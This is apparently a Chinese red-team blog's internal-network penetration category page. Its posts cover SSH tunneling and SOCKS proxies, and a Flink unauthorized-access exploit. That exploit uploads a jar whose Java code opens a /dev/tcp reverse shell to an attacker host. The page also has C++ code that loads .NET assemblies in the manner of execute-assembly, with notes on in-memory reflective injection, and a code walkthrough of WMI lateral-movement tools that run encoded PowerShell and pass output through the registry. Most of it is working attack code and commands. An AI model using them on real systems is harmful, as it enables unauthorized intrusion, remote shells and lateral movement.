分类 内网渗透 下的文章

redteam:ssh建立反射建立加密socks

ssh -d 0.0.0.0:1080 root@111.111.111.111 //在本地创建一个socks代理,端口1080
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host 
ssh -C -f -N -g -D listen_port user@Tunnel_Host //将内网ssh机器 

相关参数的解释:
-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。

-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

-C Enable compression.
压缩数据传输。

-N Do not execute a shell or command.
不执行脚本或命令,通常与-f连用。

-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。

ssh -N -f -L vps_port:source_ip:source_port vps_port //端口转发

//建立一个通过123.123.123.123的SOCKS服务器。
ssh -N -f -D 1080 vpsip // 将端口绑定在127.0.0.1上
ssh -N -f -D 0.0.0.0:1080 vpsip // 将端口绑定在0.0.0.0上

Apache Flink未授权访问+反弹shell

某个项目在内网中遇到了Flink未授权访问,做个记录。

访问后点开Submit New Job
右上角Add new上传恶意jar包。
flink
首先用idea新建个项目,内容就反弹shell命令。

public class Revs {
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxxx/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

-w1083
-w543

-w379
-w711

这样一个jar包就制作成功了。
上传后点击jar包名的任务,然后提交。shell已经返回了。

可以注意下,flink是有很多节点的,所以反弹的shell权限用户会有sshkey。可以进一步扩展内网。

execute-assembly实现原理(非托管C++代码调用C#)

cs中新加了一个功能,直接加载C#编译的文件:execute-assembly命令
看了下3gstudent大佬的文章,然后简单学习了下这个的原理,三好学生使用ICLRMetaHost::GetRuntime获取有效的ICLRRuntimeInfo指针。这里我找到了另一个方法就是ExecuteInDefaultAppDomain来调用Assembly方法

实现原理

ICLRRuntimeHost::ExecuteInDefaultAppDomain 方法

演示代码其实就是非托管 C++ 代码调用 C# dll
实现的功能和上一个Assembly Load学习中实现的差不多。
在非托管代码中手动启动 CLR 加载应用程序域来运行托管的 dll,从而调用其中的方法。
利用Unmanaged API中的ICLRRuntimeHost接口,啟用 Unmanaged 主應用程式,將 Common Language Runtime 載入處理序 (Process)。

#include <Windows.h>
#include <MSCorEE.h>
#include <stdio.h>
#include <metahost.h>
using namespace std;
#pragma comment(lib, "mscoree.lib")
int main(int argc)
{
    ICLRMetaHost *pMetaHost = nullptr;
    ICLRMetaHostPolicy *pMetaHostPolicy = nullptr;
    ICLRRuntimeHost *pRuntimeHost = nullptr;
    ICLRRuntimeInfo *pRuntimeInfo = nullptr;

    HRESULT hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&pMetaHost);
    hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));

    if (FAILED(hr)) {
        wprintf(L"failed to call csharp dll.\n");
    }
    hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_PPV_ARGS(&pRuntimeHost));
    hr = pRuntimeHost->Start();
    DWORD dwRet = 0;
    hr = pRuntimeHost->ExecuteInDefaultAppDomain(L"ClassLibrary1.dll", //不会产生新的进程
        L"DllDemo1.Aaaaa1",
        L"Bbbbb",
        L"aaa",
        &dwRet);
    hr = pRuntimeHost->Stop();
}
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace DllDemo1
{
    public class Aaaaa1
    {
        public static int Bbbbb(string str)
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
            p.Start();
            return 0;
        }
    }
}

-w1815

-w1459
测试可以加载exe运行。


以下是3gstudent文章演示代码:

ICLRMetaHost::GetRuntime方法

使用ICLRMetaHost::GetRuntime获取有效的ICLRRuntimeInfo指针。

#include "stdafx.h"
#include <metahost.h>
#include <windows.h>
#pragma comment(lib, "MSCorEE.lib")

HRESULT RuntimeHost_GetRuntime_ICLRRuntimeInfo(PCWSTR pszVersion, PCWSTR pszAssemblyName, PCWSTR pszClassName, PCWSTR pszMethodName, PCWSTR pszArgName)
{
    HRESULT hr;
    ICLRMetaHost *pMetaHost = NULL;
    ICLRRuntimeInfo *pRuntimeInfo = NULL;
    ICLRRuntimeHost *pClrRuntimeHost = NULL;
    DWORD dwLengthRet;
    wprintf(L"Load and start the .NET runtime %s \n", pszVersion);
    hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
    if (FAILED(hr))
    {
        wprintf(L"[!]CLRCreateInstance failed w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }
    hr = pMetaHost->GetRuntime(pszVersion, IID_PPV_ARGS(&pRuntimeInfo));
    if (FAILED(hr))
    {
        wprintf(L"[!]ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }
    BOOL fLoadable;
    hr = pRuntimeInfo->IsLoadable(&fLoadable);
    if (FAILED(hr))
    {
        wprintf(L"[!]ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }
    if (!fLoadable)
    {
        wprintf(L"[!].NET runtime %s cannot be loaded\n", pszVersion);
        goto Cleanup;
    }
    hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_PPV_ARGS(&pClrRuntimeHost));
    if (FAILED(hr))
    {
        wprintf(L"[!]ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }
    hr = pClrRuntimeHost->Start();
    if (FAILED(hr))
    {
        wprintf(L"[!]CLR failed to start w/hr 0x%08lx\n", hr);
        goto Cleanup;
    }
    wprintf(L"[+]Load the assembly %s\n", pszAssemblyName);
    hr = pClrRuntimeHost->ExecuteInDefaultAppDomain(pszAssemblyName, pszClassName, pszMethodName, pszArgName, &dwLengthRet);
    if (FAILED(hr))
    {
        wprintf(L"[!]Failed to call %s w/hr 0x%08lx\n", pszMethodName, hr);
        goto Cleanup;
    }
    wprintf(L"[+]Call %s.%s(\"%s\") => %d\n", pszClassName, pszMethodName, pszArgName, dwLengthRet);

Cleanup:
    if (pMetaHost)
    {
        pMetaHost->Release();
        pMetaHost = NULL;
    }
    if (pRuntimeInfo)
    {
        pRuntimeInfo->Release();
        pRuntimeInfo = NULL;
    }
    if (pClrRuntimeHost)
    {
        pClrRuntimeHost->Release();
        pClrRuntimeHost = NULL;
    }
    return hr;
}

int main()
{
    RuntimeHost_GetRuntime_ICLRRuntimeInfo(L"v4.0.30319", L"ClassLibrary1.dll", L"ClassLibrary1.Class1", L"TestMethod", L"argstring");
    return 0;
}

代码将会加载同级目录下.Net4.0开发的ClassLibrary1.dll,类名为Class1,方法为TestMethod,传入的参数为argstring
ClassLibrary1.dll的代码如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ClassLibrary1
{
    public class Class1
    {
        public static int TestMethod(string str)
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
            p.Start();
            return 0;
        }
    }
}

以后会分析以下一些开源的Assembly loader工具,以上两个方法都是在硬盘中加载,而根据三好学生大佬的总结
execute-assembly通常有以下两种利用思路:
1.从内存中读取shellcode并加载.NET程序集
2.从硬盘读取并加载.NET程序集

第一种利用思路要优于第二种,完整的利用过程如下:
创建一个正常的进程
通过Dll反射向进程注入dll
dll实现从内存中读取shellcode并加载最终的.NET程序集
优点如下:
整个过程在内存执行,不写入文件系统
Payload以dll形式存在,不会产生可疑的进程
最终的Payload为C#程序,现有的Powershell利用脚本转换为C#代码很方便

SharpWMI-基于135端口来进行横向移动的工具

这两天逛github看到Ateam的师傅们上了个工具sharpwmi
想到上个月在哪里看到一个相似功能的工具SharpWMI,就把两个工具放在一起看下代码,正好最近还在学C#。


sharpwmi-Ateam

这个工具的注释和作者的代码都比较清晰,所以先看下这个。

使用说明

sharpwmi.exe 192.168.2.3 administrator 123 cmd whoami

介绍

这是一个基于135端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi来执行命令,通过注册表来进行数据传输.

执行命令

通过wmi来执行命令,server将命令结果存在本机注册表,然后client连接注册表进行读取命令结果

上传文件

client将需要上传的文件放到server的注册表里面,然后server通过powershell来操作注册表方式来取文件然后释放到本地

代码

接收传入用户名密码建立连接

ConnectionOptions options = new ConnectionOptions();
            string host = args[0];
            options.Username = args[1];
            options.Password = args[2];
            int delay = 5000;
            this.scope = new ManagementScope("\\\\" + host + "\\root\\cimv2", options);
            this.scope.Options.Impersonation = System.Management.ImpersonationLevel.Impersonate;
            this.scope.Options.EnablePrivileges = true;
            this.scope.Connect();

使用常见的命令空间\root\cimv2

执行命令存入注册表

 string powershell_command = "powershell -enc " + Base64Encode(args[4]);

                string code = "$a=(" + powershell_command + ");$b=[Convert]::ToBase64String([System.Text.UnicodeEncoding]::Unicode.GetBytes($a));$reg = Get-WmiObject -List -Namespace root\\default | Where-Object {$_.Name -eq \"StdRegProv\"};$reg.SetStringValue(2147483650,\"\",\"txt\",$b)";


                ExecCmd("powershell -enc " + Base64Encode(code)); //传入执行
                Console.WriteLine("[+]Exec done!\n");
                Thread.Sleep(delay);

                //this.ExecCmd("whoami");
                // 读取注册表
                ManagementClass registry = new ManagementClass(this.scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("GetStringValue");

                inParams["sSubKeyName"] = "";
                inParams["sValueName"] = "txt";
                ManagementBaseObject outParams = registry.InvokeMethod("GetStringValue", inParams, null);
                // (String)outParams["sValue"];

                Console.WriteLine("[+]output -> \n\n" + Base64Decode(outParams["sValue"].ToString()));

先将执行命令base64转换,然后利用powershell -enc执行。
在执行过程中利用$b=[Convert]::ToBase64String([System.Text.UnicodeEncoding]::Unicode.GetBytes($a));
将\$a 在转成base64

$reg = Get-WmiObject -List -Namespace root\\default | Where-Object {$_.Name -eq \"StdRegProv\"};$reg.SetStringValue(2147483650,\"\",\"txt\",$b)

其中2147483650值是指HKEY_LOCAL_MACHINE
StdRegProv 是 WMI 的名称空间 root\DEFAULT 中的一个子类,有16个方法。StdRegProv 类包含与系统注册表有关的方法。可用这些方法来:验证用户的访问权;创建、枚举、和删除注册表项;创建、枚举、和删除键值;读取、修改、和删除数据。
利用StdRegProv操作注册表将\$b中转码的内容写入到键值中。
然后再读取注册表内容并输出。

 public static string Base64Encode(string content)
        {
            byte[] bytes = Encoding.Unicode.GetBytes(content);
            return Convert.ToBase64String(bytes);
        }
        public static string Base64Decode(string content)
        {
            byte[] bytes = Convert.FromBase64String(content);
            return Encoding.Unicode.GetString(bytes);
        }

wmi创建远程进程执行传入powershell

public Int32 ExecCmd(string cmd)
        {

            using (var managementClass = new ManagementClass(this.scope,new ManagementPath("Win32_Process"),new ObjectGetOptions()))
            {
                var inputParams = managementClass.GetMethodParameters("Create");

                inputParams["CommandLine"] = cmd;

                var outParams = managementClass.InvokeMethod("Create", inputParams, new InvokeMethodOptions());
                return 1;
            }
        }

利用ManagementClass类初始化一个进程new ManagementPath("Win32_Process")建立进程操作对象

var inputParams = managementClass.GetMethodParameters("Create");

                inputParams["CommandLine"] = cmd;

获得用来提供参数的对象、设定命令行参数、执行程序。

文件上传

                //写注册表
                byte[] str = File.ReadAllBytes(args[4]);
                ManagementClass registry = new ManagementClass(this.scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("SetStringValue");
                inParams["hDefKey"] = 2147483650; //HKEY_LOCAL_MACHINE;
                inParams["sSubKeyName"] = @"";
                inParams["sValueName"] = "upload";
                inParams["sValue"] = Convert.ToBase64String(str);
                ManagementBaseObject outParams = registry.InvokeMethod("SetStringValue", inParams, null);
                //通过注册表还原文件
                string pscode = string.Format("$wmi = [wmiclass]\"Root\\default:stdRegProv\";$data=($wmi.GetStringValue(2147483650,\"\",\"upload\")).sValue;$byteArray = [Convert]::FromBase64String($data);[io.file]::WriteAllBytes(\"{0:s}\",$byteArray);;", args[5]);
                string powershell_command = "powershell -enc " + Base64Encode(pscode);
                Thread.Sleep(delay);
                ExecCmd(powershell_command);
                Console.WriteLine("[+]Upload file done!");
                return;

原理和上面命令执行回显相同,都是写入到注册表中,但是由于键值大小限制,无法写入过大文件。

SharpWMI-harmj0y

说明

SharpWMI是利用C#实现WMI的个中的那个。 包括本地/远程WMI查询,通过win32_process创建远程WMI进程,杀死远程进程,枚举远程防火墙信息以及通过WMI事件远程执行任意VBS。

使用

SharpWMI.exe action=query query="select * from win32_process"
SharpWMI.exe action=query query="SELECT * FROM AntiVirusProduct" namespace="root\SecurityCenter2"
SharpWMI.exe action=query computername=primary.testlab.local query="select * from win32_service"
SharpWMI.exe action=query computername=primary,secondary query="select * from win32_process"
SharpWMI.exe action=create computername=primary.testlab.local command="powershell.exe -enc ZQBj..."
SharpWMI.exe action=executevbs computername=primary.testlab.local username="TESTLAB\harmj0y" password="Password123!"

更多

这个功能更多,可以多台机器,可以执行命令,执行vbs(默认需要在代码中修改vbs脚本内容),自己看吧。
还可以直接执行wmi的查询和指定命名空间。
代码太长,拿出来和上面都差不多。Ateam师傅原理和这个的命令执行相同,但是巧妙的利用注册表存储信息,实现了回显和小文件传输的功能。

5.1快乐

https://github.com/QAX-A-Team/sharpwmi
https://github.com/GhostPack/SharpWMI